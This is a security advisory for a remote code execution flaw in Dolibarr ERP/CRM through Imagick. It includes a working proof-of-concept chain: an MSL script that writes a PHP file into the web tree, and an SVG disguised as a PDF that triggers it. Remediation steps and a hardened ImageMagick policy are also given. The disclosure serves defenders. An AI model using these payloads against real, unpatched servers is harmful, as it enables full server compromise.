Advisory5 min

Remote code execution via Imagick in Dolibarr

Jonathan Chambre

By Jonathan Chambre

Published September 24, 2026

Lire en français
Security advisory
Product
Dolibarr ERP/CRM
Severity
High
Affected versions
< 24.0.0
Patched version
24.0.0

Introduction

Dolibarr is an open-source ERP/CRM used by small businesses, SMEs and associations to manage quotes, invoices, orders, projects, stock and expense reports. Most of its modules let users attach documents to business objects and automatically generate a preview of uploaded PDFs.

Issue

We identified a high-risk vulnerability in Dolibarr affecting versions prior to 24.0.0. When a PDF is attached to a business object, Dolibarr generates a thumbnail of its first page using the Imagick library without checking the real type of the file. An attacker can therefore upload an SVG file carrying a .pdf extension: Imagick interprets it as SVG rather than as a PDF.

The default Imagick configuration allows interpretation of both SVG and the Magick Scripting Language (MSL). By chaining the two, an authenticated user with permission to manage an object (for instance a sales proposal) can have an arbitrary PHP file written into the web tree, and thus achieve remote code execution on the server.

ItemValue
CVEPending assignment
CWECWE-434: Unrestricted Upload of File with Dangerous Type
CVSS 3.1 score7.5 (High)
VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

AC:H reflects two attacker-uncontrolled preconditions: the optional Imagick extension is not required for Dolibarr to run and ImageMagick must run a permissive policy.

Timeline

DateDescription
22/04/2026Vulnerability reported to the Dolibarr team
23/04/2026Acknowledgement and confirmation by the Dolibarr team
20/08/2026Fix released (commit 9b6368b), shipped in version 24.0.0

Technical details

The trigger: the PDF thumbnail

After a PDF is uploaded, Dolibarr generates a PNG preview of its first page. The code is identical across the affected modules; for instance in expense reports, htdocs/expensereport/card.php:

$pdfexists = file_exists($filepdf);
if ($pdfexists) {
    if (!file_exists($fileimage) || (filemtime($fileimage) < filemtime($filepdf))) {
        if (!getDolGlobalString('MAIN_DISABLE_PDF_THUMBS')) {
            include_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php';
            // Convert the first page of the PDF into _preview.png
            $ret = dol_convert_file($filepdf, 'png', $fileimage, '0');
        }
    }
}

The conversion is delegated to dol_convert_file(), in htdocs/core/lib/files.lib.php, which hands the file straight to Imagick:

function dol_convert_file($fileinput, $ext = 'png', $fileoutput = '', $page = '')
{
    if (class_exists('Imagick')) {
        $image = new Imagick();
        try {
            $filetoconvert = $fileinput.(($page != '') ? '['.$page.']' : '');
            $ret = $image->readImage($filetoconvert);
        }
        ...

No strict check is performed on the file type before the call to readImage(). And ImageMagick does not trust the extension: it determines the format from the content. Uploading a file with SVG content but a .pdf name is therefore enough to trigger SVG interpretation instead of PDF reading.

The default "Open" Imagick policy

By default, Imagick ships with a permissive policy.xml that disables neither the SVG coder nor the MSL coder. The Magick Scripting Language is an ImageMagick XML format describing a sequence of operations, read a resource, transform it, then write the result to disk at an arbitrary location. It is this write capability that turns the format confusion into code execution.

Exploitation chain to RCE

The attack is carried out from a module that generates PDF thumbnails, here sales proposals. It only requires the right to create a proposal and attach documents to it.

1. Prepare the target. Create and validate a proposal (it is assigned a reference, e.g. PR2604-0001), then delete the automatically generated PDF.

2. Drop the MSL script. Upload to the proposal a file containing the following MSL. It reads a PHP string through the caption: pseudo-format and writes it to an exec.php file (the demonstration payload is limited here to phpinfo()):

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="caption:&lt;?php phpinfo(); ?&gt;"/>
  <write filename="info:./exec.php" />
</image>

Dolibarr stores the file under documents/propale/PR2604-0001/PR2604-0001-msl.txt.

3. Trigger interpretation. Upload the proposal's "PDF", actually an SVG, named with the proposal reference, e.g. PR2604-0001.pdf. Its image element references the MSL script dropped in step 2 through the msl: pseudo-protocol:

<svg width="1000" height="1000" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg">
  <image xlink:href="msl:../../../documents/propale/PR2604-0001/PR2604-0001-msl.txt" width="1000" height="1000" />
</svg>

When Dolibarr generates the thumbnail, Imagick interprets the SVG, follows the msl: reference, runs the MSL script and writes the PHP file. Because the write path is relative to the process working directory, it lands in the tree served by the web server, e.g. /htdocs/comm/propal/exec.php.

4. Execute. The PHP file is then reachable and interpreted by the server: GET /comm/propal/exec.php runs its content. By replacing phpinfo() with a command, the attacker gains arbitrary code execution on the server.

Impact

  • Writing arbitrary files into the server's web tree
  • Remote code execution, and therefore full server compromise (reading database credentials, pivoting, etc.)

Remediation

The vulnerability is fixed in Dolibarr 24.0.0. We recommend upgrading every instance to this version or later.

In addition, and for instances that cannot be upgraded right away, we recommend:

  • disabling PDF thumbnail generation if it is not needed (the MAIN_DISABLE_PDF_THUMBS option);
  • hardening the ImageMagick security policy (policy.xml) to disable dangerous coders, in particular SVG, MSL, TEXT and file pseudo-protocols.
<policymap>
  <policy domain="coder" rights="none" pattern="{SVG,MSVG,MSL,TEXT,URL,HTTP,HTTPS}" />
  <policy domain="path" rights="none" pattern="@*" />
</policymap>

Resources

Keep reading

Tell us about your project.

Let us talk through your needs and expectations and build the right service for you.